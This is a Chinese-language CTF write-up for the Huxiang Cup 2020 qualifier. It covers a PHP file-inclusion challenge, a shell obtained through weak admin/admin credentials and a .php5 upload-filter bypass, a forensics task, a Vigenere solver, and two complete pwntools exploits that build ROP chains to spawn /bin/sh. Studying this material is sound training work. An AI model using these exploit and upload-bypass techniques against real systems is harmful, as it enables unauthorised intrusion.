湖湘杯2020线上初赛 WriteUp【ATD】

Web

题目名字不重要反正题挺简单的

<?php
error_reporting(0);

//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker.
if ( isset($_GET['file']) ) {
    $file = $_GET['file'];
    
    if ( $file === "phpinfo" ) {
        phpinfo();
        exit;
    }

    if ( preg_match('/proc/i' , $file) ) {
        die("private");
    }

    $file = "/var/www/html/" . $file;
    $content = file_get_contents($file);

    if ( !$content ) {
        die("nothing");
    }

    if ( preg_match("/script|<\?/i", $content) ) {
        die("bypass me");
    }

    include_once $file;

} else {
    highlight_file(__FILE__);
}

看上去就是LFI绕过,但是当我查看phpinfo的时候,在环境变量中发现了Flag,应该是个非预期。(安恒:草率了)

image.png

NewWebsite

入门题,没啥好说的,admin/admin弱口令进入后台,然后找上传点直接getshell。过滤是黑名单,php传不上直接把后缀改成php5就行。

image.png

然后就一把嗦。

image.png

MISC

passwd

下载下来是个系统镜像,内存取证一把梭。

image.png

在cmd5解密得到CTF用户的密码为qwer1234,然后md5(qwer1234)便能得到flag。

REVERSE

easy_c++

分析代码可得

image.png

师傅花两分钟写出exp

t='7d21e<e3<:3;9;ji t r#w\"$*{*+*$|,'
for i in range(32):
   print(chr(ord(t[i])^i),end="")

image.png

CPYPTO

古典美++

维吉尼亚,获取秘钥(全大写字母)并转为MD5提交

SZWLVSRVVZICMUOJYIIZBSVSSITFSWHPCWCFPVPFXJMWRVJICVRGTCFLHPRJKJKSRVWYFUSEWHFXLHFOSFLYPFXXYFPOEGXFXMBUHVNIYHNDWXPGBXWSYBNDVQRVYRTZUWKTFSKUMVERCCRSBEMKEDRUNYYVRYKXFOKVLVXYGTRQZOEHFEYKJRKRVXFPBOINXFTCSRQCKIGBXWLVOQVVOSFLCRRWXYFQWUHWFGRVVZICMYBUQSKJASUWLRURVVBAVSCTZOPVEUWKKGLQZCRUHJBLRSRSBTFSCYIJICFVDRUUFSIHWYFQONPEGTYBUSMTUSFVVLLOEIGRRGFEGJKIKPMYURAEBHOIIVFNMBVRJKICGYHPMFQOJVLVQYGJHHZUUOJOESFJZVGSIBLUVPEINYZRGISVRHFKIIHPSRWHZTYDGRMEUKSEWMKXYGVPTKZQVVGMUOMHCLOVUMRIRTKICXRUJFSDSRUSWLGZCLRXTMAVESUZQCDDRRHCRKRTLUGHZQXFPLSFIXYFAIGESRSBGRVWYFDSCOTRTRWKZICMRVFXKYUYZZFIKPFSIVICGYTKHVJVAVRIECMYGKKMJJQVROPKIGBBQSKIGBXRJKVKPCLRXEMKEVXRJPGYRASSYJVWLVZJZROPKIGBBPIRUFCDHAYZGKFXPUORGRBEEZRVZQKRCMIKLXVWCBZIMWFJZFIJKICHFSSWUFSYRYJFUVZFLNBQJVUCCJISCBXIVCRFZRUPUBURAEXMICGXYFDOCORVWCFTRQVUMOEHRUJUCEGIIIMKDDRPNGZVVMMFDOCOIECWHYLWKJKSJKIJBGRROSLEGALVXSFESKWMEHQCDHAYFPSEHEIUFSTHRKSCCWWLVFYFKKPVUKSJHIKIYHNRYCEZSWRYIUFCLVEEEKWCHWUPUBZWLZOITFUCFVQSVDPZDCVRGPVBPBKVIMFPOCWLZOEGFIXYJQGFUXZOFSIOIJTMBJLRKICGTKSFMPCFPEEERVFXKYUFWJZEJOMHRYIIZECFGSGQMFKXRZUWTFUWYPUWEJSWGFSINRFXJSUJIRTRVVUINBQBFRRVUMZZVXVORCYHVJUGZCLXNBQUFRHGSYQKLGVUMGRBMKPTSIBIJUFOKVESPSHKKIIJEVKGMJUYBTHFLURVVQMNPLRVUAYBRZRWMKVBSFUPFOEWKXHVJTSXRXKPYZZFIYBBBFLHVBUVRWPRUGHLGINBQCIOSEHGHLGIVJRVVUFLURVFXKYURVVBAVSCBZFIXSYBUZSIEQHFVEPQPSJHRKMWGYHFVHYBRJEZOGKFQHVSGTZVLRMJTROPIJEVKWLIPSUYWLVFYFKKLFXDIEQCZUJZJHIDUMQFPIFVRODRRXUFSGHSGMCHYDXNBJYNLXYUFSZULVBBGURAEXYFUWLVBLHZSEKIGSJLXYJLYJKINBQFRWLVSEZRGXYFPSNDWEPMBVOMJUCBZQKKIGGKLQVBQWKGMUORGFXRUBROCOXYFPWXKXNPPRSXXZTFOCOLRWCHFDWBUFSDZLRURVVQEDFMTKKITPSBKUCZTWCLNRFXNZVDWVNYODLWKIGGEHAQFYZRQHFSYIJWVRMGORQHJICHILIUUMQLUXJFWOJVLVTNCBHJROAMTXVKTCMZQKRTWCLUIWBJZZQKKIPCLJLKICOZUHFZMIKKMELWCLFSLMBARQEXFGHRQHNIYHRQMXOMFRQXCJRHCHKZSJGYHPCUFWENQVGMFRVOZOEBFLXCMLSMHVUPRCRVOGFPVRSWZTFOCOWVFGHNUMKUCBLSWFNCKYHVV

直接上脚本

import vigenerecipher


#使用拟重合指数法确定秘钥长度:拟重合指数大于0.6为标志
def length(Ciphertext):
    ListCiphertext=list(Ciphertext)
    Keylength=1

    while True:
        #指数初始化为0
        CoincidenceIndex = 0

        #使用切片分组
        for i in range(Keylength):
            Numerator = 0
            PresentCipherList = ListCiphertext[i::Keylength]

            #使用集合去重,计算每一子密文组的拟重合指数
            for Letter in set(PresentCipherList):
                Numerator += PresentCipherList.count(Letter) * (PresentCipherList.count(Letter)-1)
            CoincidenceIndex += Numerator/(len(PresentCipherList) * (len(PresentCipherList)-1))

        #求各子密文组的拟重合指数的平均值
        Average=CoincidenceIndex / Keylength
        Keylength += 1

        #均值>0.6即可退出循环
        if Average > 0.06:
            break

    Keylength -= 1
    return Keylength


#使用重合指数法确定秘钥内容:遍历重合指数的最大值为标志
def keyword(Ciphertext,keylength):
    ListCiphertext = list(Ciphertext)
    Standard = {'A':0.08167,'B':0.01492,'C':0.02782,'D':0.04253,'E':0.12702,'F':0.02228,'G':0.02015,'H':0.06094,'I':0.06966,'J':0.00153,'K':0.00772,'L':0.04025,'M':0.02406,'N':0.06749,'O':0.07507,'P':0.01929,'Q':0.00095,'R':0.05987,'S':0.06327,'T':0.09056,'U':0.02758,'V':0.00978,'W':0.02360,'X':0.00150,'Y':0.01974,'Z':0.00074}

    while True:
        KeyResult = []

        for i in range(keylength):
            # 使用切片分组
            PresentCipherList = ListCiphertext[i::keylength]

            #初始化重合指数最大值为0,检验移动位数对应字符以*代替
            QuCoincidenceMax = 0
            KeyLetter = "*"

            #遍历移动的位数
            for m in range(26):
                #初始化当前移动位数的重合指数为0
                QuCoincidencePresent = 0

                #遍历计算重合指数:各个字符的频率*对应英文字符出现的标准频率---的和
                for Letter in set(PresentCipherList):
                    LetterFrequency = PresentCipherList.count(Letter) / len(PresentCipherList)

                    # 标准频率
                    k = chr( ( ord(Letter) - 65 - m ) % 26 + 65 )
                    StandardFrequency = Standard[k]

                    #计算重合指数
                    QuCoincidencePresent = QuCoincidencePresent + LetterFrequency * StandardFrequency

                #保存遍历过程中重合指数的最大值,同时保存对应应对的位数,即对应key的字符
                if QuCoincidencePresent > QuCoincidenceMax:
                    QuCoincidenceMax = QuCoincidencePresent
                    KeyLetter = chr( m + 65 )

            #保存当前位置key的值,退出循环,进行下一组子密文移动位数的尝试
            KeyResult.append( KeyLetter )
        #列表转为字符串
        Key = "".join(KeyResult)
        break
    return Key


if __name__ == '__main__':

    Ciphertext = input("输入密文:").upper()

    Keylength = length(Ciphertext)

    print("keylength最可能为:",Keylength)

    KeyResult = keyword(Ciphertext,Keylength)

    print("秘钥最可能为:" , KeyResult)

    #已知秘钥可用python自带维吉尼亚解密
    ClearText = vigenerecipher.decode( Ciphertext,KeyResult )
    print("解密结果为:" , ClearText)

image.png

所以flag为MD5(ORDERBY)

PWN

pwn_printf

入门题

from pwn import *
#sh = process('./pwn_printf')
sh = remote('127.0.0.1', 7777)
elf = ELF('./pwn_printf')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
attack_addr = 0x20
#gdb.attach(sh)
for i in range(0, 16):
    sh.sendline(str(attack_addr))
pop_rdi = 0x0000000000401213
payload = 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0x40) + p64(0x4007C6)
sh.send(payload)
sh.recvuntil('You will find this game very interesting\n')
puts_addr = u64(sh.recvn(6).ljust(8, '\x00'))
libc_base = puts_addr - 0x6f6a0
system_addr = libc_base + 0x0453a0
bin_sh_addr = libc_base + 0x18ce17
payload = 'a' * 8 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
sh.send(payload)
print(hex(puts_addr))
sh.interactive()

DASCTF{26a30135bb9f58cf9edede509f1dcb3e}

blend_pwn

from pwn import *
context.log_level = 'debug'
#sh = process('./blend_pwn')
sh = remote('127.0.0.1', 7778)
elf = ELF('./blend_pwn')
libc = elf.libc
#gdb.attach(sh)
def add(content):
    sh.recvuntil("Enter your choice >")
    sh.sendline('2')
    sh.recvuntil("input note:")
    sh.sendline(content)

def dele(idx):
    sh.recvuntil("Enter your choice >")
    sh.sendline('3')
    sh.recvuntil(">")
    sh.sendline(str(idx))
def show():
    sh.recvuntil("Enter your choice >")
    sh.sendline('4')
sh.sendline('%p')
add('1')
sh.recvuntil("Enter your choice >")
sh.sendline('1')
sh.recvuntil("Current user:")
stack_addr = int(sh.recvn(14), 16)
print(hex(stack_addr))
sh.recvuntil("Enter your choice >")
sh.sendline('666')
#payload = p64(stack_addr + 0x2750 - 8) * 5
payload = 0x20 * 'a' + p64(stack_addr + 0x26c0) + 'a'
sh.send(payload)
sh.recvuntil('name')
sh.sendline('%3$p')
sh.sendline('1')
sh.recvuntil("Current user:")
libc_base = int(sh.recvn(14), 16) - 0xf7380
system = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
pop_rdi = libc_base + 0x0000000000021112
add('\x00' * 0x30 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system))
dele(0)
dele(1)
show()
sh.recvuntil('index 2:')
heap_addr = u64(sh.recvn(6).ljust(8, '\x00')) + 0x90 + 0x20
print(hex(heap_addr))
#gdb.attach(sh)
sh.sendline('666')
payload = '\x00' * 0x20 + p64(heap_addr - 8) + 'a'
sh.send(payload)
print(hex(stack_addr))
sh.interactive()

DASCTF{a3b14b43cefdc3456527cb93dc1374f9}

总结

我们还是太菜了,希望下次加油。但是两个web拿了三血,总体来说还是很开心的。

image.png